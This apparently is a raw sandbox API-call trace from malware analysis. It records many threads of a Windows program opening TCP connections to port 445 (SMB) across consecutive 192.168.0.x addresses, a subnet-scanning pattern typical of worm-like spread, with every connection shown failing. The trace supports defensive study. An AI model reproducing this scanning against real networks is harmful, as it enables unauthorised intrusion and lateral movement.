[0093.684] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x31dfdf0 | out: lpWSAData=0x31dfdf0) returned 0 [0093.684] socket (af=2, type=1, protocol=0) returned 0x378 [0093.684] inet_addr (cp="192.168.0.202") returned 0xca00a8c0 [0093.684] htons (hostshort=0x1bd) returned 0xbd01 [0093.684] connect (s=0x378, name=0x31dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.202"), namelen=16) returned -1 [0114.776] closesocket (s=0x378) returned 0 [0114.776] WSACleanup () returned 0 [0114.776] GetCurrentThreadId () returned 0x106c [0114.776] GetCurrentThreadId () returned 0x106c [0114.776] GetCurrentThreadId () returned 0x106c Thread: id = 451 os_tid = 0x1070 [0093.685] GetCurrentThreadId () returned 0x1070 [0093.685] GetCurrentThreadId () returned 0x1070 [0093.685] GetCurrentThreadId () returned 0x1070 [0093.685] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x33dfdf0 | out: lpWSAData=0x33dfdf0) returned 0 [0093.685] socket (af=2, type=1, protocol=0) returned 0x36c [0093.685] inet_addr (cp="192.168.0.211") returned 0xd300a8c0 [0093.685] htons (hostshort=0x1bd) returned 0xbd01 [0093.685] connect (s=0x36c, name=0x33dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.211"), namelen=16) returned -1 [0114.777] closesocket (s=0x36c) returned 0 [0114.777] WSACleanup () returned 0 [0114.777] GetCurrentThreadId () returned 0x1070 [0114.777] GetCurrentThreadId () returned 0x1070 [0114.777] GetCurrentThreadId () returned 0x1070 Thread: id = 452 os_tid = 0x1074 [0093.777] GetCurrentThreadId () returned 0x1074 [0093.777] GetCurrentThreadId () returned 0x1074 [0093.777] GetCurrentThreadId () returned 0x1074 [0093.777] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x34dfdf0 | out: lpWSAData=0x34dfdf0) returned 0 [0093.777] socket (af=2, type=1, protocol=0) returned 0x460 [0093.777] inet_addr (cp="192.168.0.203") returned 0xcb00a8c0 [0093.777] htons (hostshort=0x1bd) returned 0xbd01 [0093.777] connect (s=0x460, name=0x34dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.203"), namelen=16) returned -1 [0115.476] closesocket (s=0x460) returned 0 [0115.477] WSACleanup () returned 0 [0115.477] GetCurrentThreadId () returned 0x1074 [0115.477] GetCurrentThreadId () returned 0x1074 [0115.477] GetCurrentThreadId () returned 0x1074 Thread: id = 453 os_tid = 0x1078 [0093.778] GetCurrentThreadId () returned 0x1078 [0093.778] GetCurrentThreadId () returned 0x1078 [0093.778] GetCurrentThreadId () returned 0x1078 [0093.778] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x35dfdf0 | out: lpWSAData=0x35dfdf0) returned 0 [0093.778] socket (af=2, type=1, protocol=0) returned 0x450 [0093.779] inet_addr (cp="192.168.0.212") returned 0xd400a8c0 [0093.779] htons (hostshort=0x1bd) returned 0xbd01 [0093.779] connect (s=0x450, name=0x35dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.212"), namelen=16) returned -1 [0115.477] closesocket (s=0x450) returned 0 [0115.477] WSACleanup () returned 0 [0115.477] GetCurrentThreadId () returned 0x1078 [0115.478] GetCurrentThreadId () returned 0x1078 [0115.478] GetCurrentThreadId () returned 0x1078 Thread: id = 454 os_tid = 0x107c [0093.913] GetCurrentThreadId () returned 0x107c [0093.913] GetCurrentThreadId () returned 0x107c [0093.913] GetCurrentThreadId () returned 0x107c [0093.913] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x36dfdf0 | out: lpWSAData=0x36dfdf0) returned 0 [0093.913] socket (af=2, type=1, protocol=0) returned 0x480 [0093.913] inet_addr (cp="192.168.0.204") returned 0xcc00a8c0 [0093.914] htons (hostshort=0x1bd) returned 0xbd01 [0093.914] connect (s=0x480, name=0x36dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.204"), namelen=16) returned -1 [0115.478] closesocket (s=0x480) returned 0 [0115.478] WSACleanup () returned 0 [0115.478] GetCurrentThreadId () returned 0x107c [0115.478] GetCurrentThreadId () returned 0x107c [0115.478] GetCurrentThreadId () returned 0x107c Thread: id = 455 os_tid = 0x1080 [0093.915] GetCurrentThreadId () returned 0x1080 [0093.915] GetCurrentThreadId () returned 0x1080 [0093.915] GetCurrentThreadId () returned 0x1080 [0093.915] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x37dfdf0 | out: lpWSAData=0x37dfdf0) returned 0 [0093.915] socket (af=2, type=1, protocol=0) returned 0x43c [0093.915] inet_addr (cp="192.168.0.213") returned 0xd500a8c0 [0093.915] htons (hostshort=0x1bd) returned 0xbd01 [0093.915] connect (s=0x43c, name=0x37dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.213"), namelen=16) returned -1 [0115.479] closesocket (s=0x43c) returned 0 [0115.480] WSACleanup () returned 0 [0115.480] GetCurrentThreadId () returned 0x1080 [0115.480] GetCurrentThreadId () returned 0x1080 [0115.480] GetCurrentThreadId () returned 0x1080 Thread: id = 456 os_tid = 0x1084 [0094.058] GetCurrentThreadId () returned 0x1084 [0094.058] GetCurrentThreadId () returned 0x1084 [0094.058] GetCurrentThreadId () returned 0x1084 [0094.058] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x38dfdf0 | out: lpWSAData=0x38dfdf0) returned 0 [0094.058] socket (af=2, type=1, protocol=0) returned 0x4c0 [0094.058] inet_addr (cp="192.168.0.205") returned 0xcd00a8c0 [0094.058] htons (hostshort=0x1bd) returned 0xbd01 [0094.058] connect (s=0x4c0, name=0x38dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.205"), namelen=16) returned -1 [0115.480] closesocket (s=0x4c0) returned 0 [0115.480] WSACleanup () returned 0 [0115.480] GetCurrentThreadId () returned 0x1084 [0115.481] GetCurrentThreadId () returned 0x1084 [0115.481] GetCurrentThreadId () returned 0x1084 Thread: id = 457 os_tid = 0x1088 [0094.059] GetCurrentThreadId () returned 0x1088 [0094.059] GetCurrentThreadId () returned 0x1088 [0094.059] GetCurrentThreadId () returned 0x1088 [0094.059] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x39dfdf0 | out: lpWSAData=0x39dfdf0) returned 0 [0094.059] socket (af=2, type=1, protocol=0) returned 0x4b0 [0094.059] inet_addr (cp="192.168.0.214") returned 0xd600a8c0 [0094.059] htons (hostshort=0x1bd) returned 0xbd01 [0094.059] connect (s=0x4b0, name=0x39dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.214"), namelen=16) returned -1 [0115.481] closesocket (s=0x4b0) returned 0 [0115.481] WSACleanup () returned 0 [0115.481] GetCurrentThreadId () returned 0x1088 [0115.481] GetCurrentThreadId () returned 0x1088 [0115.481] GetCurrentThreadId () returned 0x1088 Thread: id = 459 os_tid = 0x1094 [0094.163] GetCurrentThreadId () returned 0x1094 [0094.164] GetCurrentThreadId () returned 0x1094 [0094.164] GetCurrentThreadId () returned 0x1094 [0094.164] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3c5fdf0 | out: lpWSAData=0x3c5fdf0) returned 0 [0094.164] socket (af=2, type=1, protocol=0) returned 0x1bf8 [0094.164] inet_addr (cp="192.168.0.206") returned 0xce00a8c0 [0094.164] htons (hostshort=0x1bd) returned 0xbd01 [0094.164] connect (s=0x1bf8, name=0x3c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.206"), namelen=16) returned -1 [0115.482] closesocket (s=0x1bf8) returned 0 [0115.482] WSACleanup () returned 0 [0115.482] GetCurrentThreadId () returned 0x1094 [0115.482] GetCurrentThreadId () returned 0x1094 [0115.482] GetCurrentThreadId () returned 0x1094 Thread: id = 460 os_tid = 0x1098 [0094.165] GetCurrentThreadId () returned 0x1098 [0094.165] GetCurrentThreadId () returned 0x1098 [0094.165] GetCurrentThreadId () returned 0x1098 [0094.165] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3d9fdf0 | out: lpWSAData=0x3d9fdf0) returned 0 [0094.165] socket (af=2, type=1, protocol=0) returned 0x1c08 [0094.165] inet_addr (cp="192.168.0.215") returned 0xd700a8c0 [0094.165] htons (hostshort=0x1bd) returned 0xbd01 [0094.165] connect (s=0x1c08, name=0x3d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.215"), namelen=16) returned -1 [0115.483] closesocket (s=0x1c08) returned 0 [0115.483] WSACleanup () returned 0 [0115.483] GetCurrentThreadId () returned 0x1098 [0115.483] GetCurrentThreadId () returned 0x1098 [0115.483] GetCurrentThreadId () returned 0x1098 Thread: id = 461 os_tid = 0x109c Thread: id = 462 os_tid = 0x10a0 [0094.419] GetCurrentThreadId () returned 0x10a0 [0094.419] GetCurrentThreadId () returned 0x10a0 [0094.419] GetCurrentThreadId () returned 0x10a0 [0094.419] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x401fdf0 | out: lpWSAData=0x401fdf0) returned 0 [0094.419] socket (af=2, type=1, protocol=0) returned 0x500 [0094.420] inet_addr (cp="192.168.0.208") returned 0xd000a8c0 [0094.420] htons (hostshort=0x1bd) returned 0xbd01 [0094.420] connect (s=0x500, name=0x401fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.208"), namelen=16) returned -1 [0115.570] closesocket (s=0x500) returned 0 [0115.570] WSACleanup () returned 0 [0115.570] GetCurrentThreadId () returned 0x10a0 [0115.570] GetCurrentThreadId () returned 0x10a0 [0115.570] GetCurrentThreadId () returned 0x10a0 Thread: id = 463 os_tid = 0x10a4 [0094.420] GetCurrentThreadId () returned 0x10a4 [0094.420] GetCurrentThreadId () returned 0x10a4 [0094.420] GetCurrentThreadId () returned 0x10a4 [0094.420] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x415fdf0 | out: lpWSAData=0x415fdf0) returned 0 [0094.420] socket (af=2, type=1, protocol=0) returned 0x4f0 [0094.421] inet_addr (cp="192.168.0.217") returned 0xd900a8c0 [0094.421] htons (hostshort=0x1bd) returned 0xbd01 [0094.421] connect (s=0x4f0, name=0x415fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.217"), namelen=16) returned -1 [0115.571] closesocket (s=0x4f0) returned 0 [0115.571] WSACleanup () returned 0 [0115.571] GetCurrentThreadId () returned 0x10a4 [0115.571] GetCurrentThreadId () returned 0x10a4 [0115.571] GetCurrentThreadId () returned 0x10a4 Thread: id = 464 os_tid = 0x10a8 [0094.423] GetCurrentThreadId () returned 0x10a8 [0094.423] GetCurrentThreadId () returned 0x10a8 [0094.423] GetCurrentThreadId () returned 0x10a8 [0094.423] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x429fdf0 | out: lpWSAData=0x429fdf0) returned 0 [0094.423] socket (af=2, type=1, protocol=0) returned 0x540 [0094.424] inet_addr (cp="192.168.0.208") returned 0xd000a8c0 [0094.424] htons (hostshort=0x1bd) returned 0xbd01 [0094.424] connect (s=0x540, name=0x429fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.208"), namelen=16) returned -1 [0115.572] closesocket (s=0x540) returned 0 [0115.572] WSACleanup () returned 0 [0115.572] GetCurrentThreadId () returned 0x10a8 [0115.572] GetCurrentThreadId () returned 0x10a8 [0115.572] GetCurrentThreadId () returned 0x10a8 Thread: id = 465 os_tid = 0x10ac [0094.424] GetCurrentThreadId () returned 0x10ac [0094.424] GetCurrentThreadId () returned 0x10ac [0094.424] GetCurrentThreadId () returned 0x10ac [0094.424] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x43dfdf0 | out: lpWSAData=0x43dfdf0) returned 0 [0094.424] socket (af=2, type=1, protocol=0) returned 0x530 [0094.424] inet_addr (cp="192.168.0.217") returned 0xd900a8c0 [0094.424] htons (hostshort=0x1bd) returned 0xbd01 [0094.424] connect (s=0x530, name=0x43dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.217"), namelen=16) returned -1 [0115.573] closesocket (s=0x530) returned 0 [0115.573] WSACleanup () returned 0 [0115.573] GetCurrentThreadId () returned 0x10ac [0115.573] GetCurrentThreadId () returned 0x10ac [0115.573] GetCurrentThreadId () returned 0x10ac Thread: id = 466 os_tid = 0x10b0 [0094.470] GetCurrentThreadId () returned 0x10b0 [0094.470] GetCurrentThreadId () returned 0x10b0 [0094.470] GetCurrentThreadId () returned 0x10b0 [0094.470] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x451fdf0 | out: lpWSAData=0x451fdf0) returned 0 [0094.470] socket (af=2, type=1, protocol=0) returned 0x574 [0094.471] inet_addr (cp="192.168.0.209") returned 0xd100a8c0 [0094.471] htons (hostshort=0x1bd) returned 0xbd01 [0094.471] connect (s=0x574, name=0x451fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.209"), namelen=16) returned -1 [0115.574] closesocket (s=0x574) returned 0 [0115.574] WSACleanup () returned 0 [0115.574] GetCurrentThreadId () returned 0x10b0 [0115.574] GetCurrentThreadId () returned 0x10b0 [0115.574] GetCurrentThreadId () returned 0x10b0 Thread: id = 467 os_tid = 0x10b4 [0094.472] GetCurrentThreadId () returned 0x10b4 [0094.472] GetCurrentThreadId () returned 0x10b4 [0094.472] GetCurrentThreadId () returned 0x10b4 [0094.472] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x465fdf0 | out: lpWSAData=0x465fdf0) returned 0 [0094.472] socket (af=2, type=1, protocol=0) returned 0x568 [0094.473] inet_addr (cp="192.168.0.218") returned 0xda00a8c0 [0094.473] htons (hostshort=0x1bd) returned 0xbd01 [0094.473] connect (s=0x568, name=0x465fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.218"), namelen=16) returned -1 [0115.574] closesocket (s=0x568) returned 0 [0115.575] WSACleanup () returned 0 [0115.575] GetCurrentThreadId () returned 0x10b4 [0115.575] GetCurrentThreadId () returned 0x10b4 [0115.575] GetCurrentThreadId () returned 0x10b4 Thread: id = 468 os_tid = 0x10b8 [0094.574] GetCurrentThreadId () returned 0x10b8 [0094.574] GetCurrentThreadId () returned 0x10b8 [0094.574] GetCurrentThreadId () returned 0x10b8 [0094.574] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x479fdf0 | out: lpWSAData=0x479fdf0) returned 0 [0094.574] socket (af=2, type=1, protocol=0) returned 0x548 [0094.574] inet_addr (cp="192.168.0.210") returned 0xd200a8c0 [0094.574] htons (hostshort=0x1bd) returned 0xbd01 [0094.574] connect (s=0x548, name=0x479fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16) returned -1 [0115.663] closesocket (s=0x548) returned 0 [0115.664] WSACleanup () returned 0 [0115.664] GetCurrentThreadId () returned 0x10b8 [0115.664] GetCurrentThreadId () returned 0x10b8 [0115.664] GetCurrentThreadId () returned 0x10b8 Thread: id = 469 os_tid = 0x10bc [0094.575] GetCurrentThreadId () returned 0x10bc [0094.575] GetCurrentThreadId () returned 0x10bc [0094.575] GetCurrentThreadId () returned 0x10bc [0094.575] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x48dfdf0 | out: lpWSAData=0x48dfdf0) returned 0 [0094.575] socket (af=2, type=1, protocol=0) returned 0x4f4 [0094.575] inet_addr (cp="192.168.0.219") returned 0xdb00a8c0 [0094.575] htons (hostshort=0x1bd) returned 0xbd01 [0094.575] connect (s=0x4f4, name=0x48dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.219"), namelen=16) returned -1 [0115.664] closesocket (s=0x4f4) returned 0 [0115.664] WSACleanup () returned 0 [0115.664] GetCurrentThreadId () returned 0x10bc [0115.665] GetCurrentThreadId () returned 0x10bc [0115.665] GetCurrentThreadId () returned 0x10bc Thread: id = 508 os_tid = 0x10c4 [0095.090] GetCurrentThreadId () returned 0x10c4 [0095.090] GetCurrentThreadId () returned 0x10c4 [0095.090] GetCurrentThreadId () returned 0x10c4 [0095.090] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4a1fdf0 | out: lpWSAData=0x4a1fdf0) returned 0 [0095.090] socket (af=2, type=1, protocol=0) returned 0x634 [0095.090] inet_addr (cp="192.168.0.211") returned 0xd300a8c0 [0095.090] htons (hostshort=0x1bd) returned 0xbd01 [0095.090] connect (s=0x634, name=0x4a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.211"), namelen=16) returned -1 [0116.163] closesocket (s=0x634) returned 0 [0116.163] WSACleanup () returned 0 [0116.163] GetCurrentThreadId () returned 0x10c4 [0116.163] GetCurrentThreadId () returned 0x10c4 [0116.163] GetCurrentThreadId () returned 0x10c4 Thread: id = 509 os_tid = 0x10c8 [0095.091] GetCurrentThreadId () returned 0x10c8 [0095.091] GetCurrentThreadId () returned 0x10c8 [0095.091] GetCurrentThreadId () returned 0x10c8 [0095.091] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4b5fdf0 | out: lpWSAData=0x4b5fdf0) returned 0 [0095.091] socket (af=2, type=1, protocol=0) returned 0x628 [0095.091] inet_addr (cp="192.168.0.220") returned 0xdc00a8c0 [0095.091] htons (hostshort=0x1bd) returned 0xbd01 [0095.091] connect (s=0x628, name=0x4b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16) returned -1 [0116.164] closesocket (s=0x628) returned 0 [0116.164] WSACleanup () returned 0 [0116.164] GetCurrentThreadId () returned 0x10c8 [0116.164] GetCurrentThreadId () returned 0x10c8 [0116.164] GetCurrentThreadId () returned 0x10c8 Thread: id = 510 os_tid = 0x10cc [0095.198] GetCurrentThreadId () returned 0x10cc [0095.198] GetCurrentThreadId () returned 0x10cc [0095.198] GetCurrentThreadId () returned 0x10cc [0095.198] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4c9fdf0 | out: lpWSAData=0x4c9fdf0) returned 0 [0095.198] socket (af=2, type=1, protocol=0) returned 0x654 [0095.198] inet_addr (cp="192.168.0.212") returned 0xd400a8c0 [0095.198] htons (hostshort=0x1bd) returned 0xbd01 [0095.198] connect (s=0x654, name=0x4c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.212"), namelen=16) returned -1 [0116.272] closesocket (s=0x654) returned 0 [0116.272] WSACleanup () returned 0 [0116.272] GetCurrentThreadId () returned 0x10cc [0116.272] GetCurrentThreadId () returned 0x10cc [0116.272] GetCurrentThreadId () returned 0x10cc Thread: id = 511 os_tid = 0x10d0 [0095.199] GetCurrentThreadId () returned 0x10d0 [0095.199] GetCurrentThreadId () returned 0x10d0 [0095.199] GetCurrentThreadId () returned 0x10d0 [0095.199] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ddfdf0 | out: lpWSAData=0x4ddfdf0) returned 0 [0095.199] socket (af=2, type=1, protocol=0) returned 0x648 [0095.199] inet_addr (cp="192.168.0.221") returned 0xdd00a8c0 [0095.199] htons (hostshort=0x1bd) returned 0xbd01 [0095.199] connect (s=0x648, name=0x4ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.221"), namelen=16) returned -1 [0116.273] closesocket (s=0x648) returned 0 [0116.273] WSACleanup () returned 0 [0116.273] GetCurrentThreadId () returned 0x10d0 [0116.273] GetCurrentThreadId () returned 0x10d0 [0116.273] GetCurrentThreadId () returned 0x10d0 Thread: id = 512 os_tid = 0x10d4 [0095.261] GetCurrentThreadId () returned 0x10d4 [0095.261] GetCurrentThreadId () returned 0x10d4 [0095.261] GetCurrentThreadId () returned 0x10d4 [0095.261] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4f1fdf0 | out: lpWSAData=0x4f1fdf0) returned 0 [0095.261] socket (af=2, type=1, protocol=0) returned 0x604 [0095.261] inet_addr (cp="192.168.0.213") returned 0xd500a8c0 [0095.261] htons (hostshort=0x1bd) returned 0xbd01 [0095.261] connect (s=0x604, name=0x4f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.213"), namelen=16) returned -1 [0116.379] closesocket (s=0x604) returned 0 [0116.379] WSACleanup () returned 0 [0116.379] GetCurrentThreadId () returned 0x10d4 [0116.379] GetCurrentThreadId () returned 0x10d4 [0116.379] GetCurrentThreadId () returned 0x10d4 Thread: id = 513 os_tid = 0x10d8 [0095.262] GetCurrentThreadId () returned 0x10d8 [0095.262] GetCurrentThreadId () returned 0x10d8 [0095.262] GetCurrentThreadId () returned 0x10d8 [0095.262] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x505fdf0 | out: lpWSAData=0x505fdf0) returned 0 [0095.262] socket (af=2, type=1, protocol=0) returned 0x5f0 [0095.262] inet_addr (cp="192.168.0.222") returned 0xde00a8c0 [0095.262] htons (hostshort=0x1bd) returned 0xbd01 [0095.262] connect (s=0x5f0, name=0x505fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.222"), namelen=16) returned -1 [0116.380] closesocket (s=0x5f0) returned 0 [0116.380] WSACleanup () returned 0 [0116.380] GetCurrentThreadId () returned 0x10d8 [0116.380] GetCurrentThreadId () returned 0x10d8 [0116.380] GetCurrentThreadId () returned 0x10d8 Thread: id = 514 os_tid = 0x10dc [0096.382] GetCurrentThreadId () returned 0x10dc [0096.382] GetCurrentThreadId () returned 0x10dc [0096.382] GetCurrentThreadId () returned 0x10dc [0096.383] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x519fdf0 | out: lpWSAData=0x519fdf0) returned 0 [0096.383] socket (af=2, type=1, protocol=0) returned 0x788 [0096.383] inet_addr (cp="192.168.0.220") returned 0xdc00a8c0 [0096.383] htons (hostshort=0x1bd) returned 0xbd01 [0096.383] connect (s=0x788, name=0x519fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16) returned -1 [0117.473] closesocket (s=0x788) returned 0 [0117.473] WSACleanup () returned 0 [0117.474] GetCurrentThreadId () returned 0x10dc [0117.474] GetCurrentThreadId () returned 0x10dc [0117.474] GetCurrentThreadId () returned 0x10dc Thread: id = 515 os_tid = 0x10e0 [0096.383] GetCurrentThreadId () returned 0x10e0 [0096.383] GetCurrentThreadId () returned 0x10e0 [0096.383] GetCurrentThreadId () returned 0x10e0 [0096.383] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x52dfdf0 | out: lpWSAData=0x52dfdf0) returned 0 [0096.383] socket (af=2, type=1, protocol=0) returned 0x734 [0096.383] inet_addr (cp="192.168.0.229") returned 0xe500a8c0 [0096.383] htons (hostshort=0x1bd) returned 0xbd01 [0096.384] connect (s=0x734, name=0x52dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.229"), namelen=16) returned -1 [0117.474] closesocket (s=0x734) returned 0 [0117.475] WSACleanup () returned 0 [0117.475] GetCurrentThreadId () returned 0x10e0 [0117.475] GetCurrentThreadId () returned 0x10e0 [0117.475] GetCurrentThreadId () returned 0x10e0 Thread: id = 516 os_tid = 0x10e4 [0096.385] GetCurrentThreadId () returned 0x10e4 [0096.385] GetCurrentThreadId () returned 0x10e4 [0096.385] GetCurrentThreadId () returned 0x10e4 [0096.385] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x541fdf0 | out: lpWSAData=0x541fdf0) returned 0 [0096.385] socket (af=2, type=1, protocol=0) returned 0x6c0 [0096.386] inet_addr (cp="192.168.0.220") returned 0xdc00a8c0 [0096.386] htons (hostshort=0x1bd) returned 0xbd01 [0096.386] connect (s=0x6c0, name=0x541fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16) returned -1 [0117.475] closesocket (s=0x6c0) returned 0 [0117.475] WSACleanup () returned 0 [0117.475] GetCurrentThreadId () returned 0x10e4 [0117.475] GetCurrentThreadId () returned 0x10e4 [0117.475] GetCurrentThreadId () returned 0x10e4 Thread: id = 517 os_tid = 0x10e8 [0096.386] GetCurrentThreadId () returned 0x10e8 [0096.386] GetCurrentThreadId () returned 0x10e8 [0096.386] GetCurrentThreadId () returned 0x10e8 [0096.386] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x555fdf0 | out: lpWSAData=0x555fdf0) returned 0 [0096.386] socket (af=2, type=1, protocol=0) returned 0x6f4 [0096.386] inet_addr (cp="192.168.0.229") returned 0xe500a8c0 [0096.386] htons (hostshort=0x1bd) returned 0xbd01 [0096.386] connect (s=0x6f4, name=0x555fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.229"), namelen=16) returned -1 [0117.476] closesocket (s=0x6f4) returned 0 [0117.476] WSACleanup () returned 0 [0117.476] GetCurrentThreadId () returned 0x10e8 [0117.476] GetCurrentThreadId () returned 0x10e8 [0117.476] GetCurrentThreadId () returned 0x10e8 Thread: id = 519 os_tid = 0x10f0 [0096.386] GetCurrentThreadId () returned 0x10f0 [0096.387] GetCurrentThreadId () returned 0x10f0 [0096.387] GetCurrentThreadId () returned 0x10f0 [0096.387] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x569fdf0 | out: lpWSAData=0x569fdf0) returned 0 [0096.387] socket (af=2, type=1, protocol=0) returned 0x1b8c [0096.387] inet_addr (cp="192.168.0.220") returned 0xdc00a8c0 [0096.387] htons (hostshort=0x1bd) returned 0xbd01 [0096.387] connect (s=0x1b8c, name=0x569fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16) returned -1 [0117.477] closesocket (s=0x1b8c) returned 0 [0117.477] WSACleanup () returned 0 [0117.477] GetCurrentThreadId () returned 0x10f0 [0117.477] GetCurrentThreadId () returned 0x10f0 [0117.477] GetCurrentThreadId () returned 0x10f0 Thread: id = 520 os_tid = 0x10f4 [0096.387] GetCurrentThreadId () returned 0x10f4 [0096.387] GetCurrentThreadId () returned 0x10f4 [0096.387] GetCurrentThreadId () returned 0x10f4 [0096.387] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x57dfdf0 | out: lpWSAData=0x57dfdf0) returned 0 [0096.387] socket (af=2, type=1, protocol=0) returned 0x6b0 [0096.387] inet_addr (cp="192.168.0.229") returned 0xe500a8c0 [0096.387] htons (hostshort=0x1bd) returned 0xbd01 [0096.388] connect (s=0x6b0, name=0x57dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.229"), namelen=16) returned -1 [0117.478] closesocket (s=0x6b0) returned 0 [0117.478] WSACleanup () returned 0 [0117.478] GetCurrentThreadId () returned 0x10f4 [0117.478] GetCurrentThreadId () returned 0x10f4 [0117.478] GetCurrentThreadId () returned 0x10f4 Thread: id = 521 os_tid = 0x10f8 [0096.390] GetCurrentThreadId () returned 0x10f8 [0096.390] GetCurrentThreadId () returned 0x10f8 [0096.390] GetCurrentThreadId () returned 0x10f8 [0096.390] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x591fdf0 | out: lpWSAData=0x591fdf0) returned 0 [0096.390] socket (af=2, type=1, protocol=0) returned 0x700 [0096.390] inet_addr (cp="192.168.0.220") returned 0xdc00a8c0 [0096.390] htons (hostshort=0x1bd) returned 0xbd01 [0096.390] connect (s=0x700, name=0x591fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16) returned -1 [0117.479] closesocket (s=0x700) returned 0 [0117.479] WSACleanup () returned 0 [0117.479] GetCurrentThreadId () returned 0x10f8 [0117.479] GetCurrentThreadId () returned 0x10f8 [0117.479] GetCurrentThreadId () returned 0x10f8 Thread: id = 522 os_tid = 0x10fc [0096.390] GetCurrentThreadId () returned 0x10fc [0096.390] GetCurrentThreadId () returned 0x10fc [0096.390] GetCurrentThreadId () returned 0x10fc [0096.390] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5a5fdf0 | out: lpWSAData=0x5a5fdf0) returned 0 [0096.390] socket (af=2, type=1, protocol=0) returned 0x6f0 [0096.391] inet_addr (cp="192.168.0.229") returned 0xe500a8c0 [0096.391] htons (hostshort=0x1bd) returned 0xbd01 [0096.391] connect (s=0x6f0, name=0x5a5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.229"), namelen=16) returned -1 [0117.480] closesocket (s=0x6f0) returned 0 [0117.480] WSACleanup () returned 0 [0117.480] GetCurrentThreadId () returned 0x10fc [0117.480] GetCurrentThreadId () returned 0x10fc [0117.480] GetCurrentThreadId () returned 0x10fc Thread: id = 523 os_tid = 0x1100 [0096.394] GetCurrentThreadId () returned 0x1100 [0096.394] GetCurrentThreadId () returned 0x1100 [0096.394] GetCurrentThreadId () returned 0x1100 [0096.394] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5b9fdf0 | out: lpWSAData=0x5b9fdf0) returned 0 [0096.394] socket (af=2, type=1, protocol=0) returned 0x760 [0096.394] inet_addr (cp="192.168.0.220") returned 0xdc00a8c0 [0096.394] htons (hostshort=0x1bd) returned 0xbd01 [0096.394] connect (s=0x760, name=0x5b9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16) returned -1 [0117.481] closesocket (s=0x760) returned 0 [0117.481] WSACleanup () returned 0 [0117.481] GetCurrentThreadId () returned 0x1100 [0117.481] GetCurrentThreadId () returned 0x1100 [0117.481] GetCurrentThreadId () returned 0x1100 Thread: id = 524 os_tid = 0x1104 [0096.394] GetCurrentThreadId () returned 0x1104 [0096.394] GetCurrentThreadId () returned 0x1104 [0096.394] GetCurrentThreadId () returned 0x1104 [0096.394] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5cdfdf0 | out: lpWSAData=0x5cdfdf0) returned 0 [0096.394] socket (af=2, type=1, protocol=0) returned 0x750 [0096.395] inet_addr (cp="192.168.0.229") returned 0xe500a8c0 [0096.395] htons (hostshort=0x1bd) returned 0xbd01 [0096.395] connect (s=0x750, name=0x5cdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.229"), namelen=16) returned -1 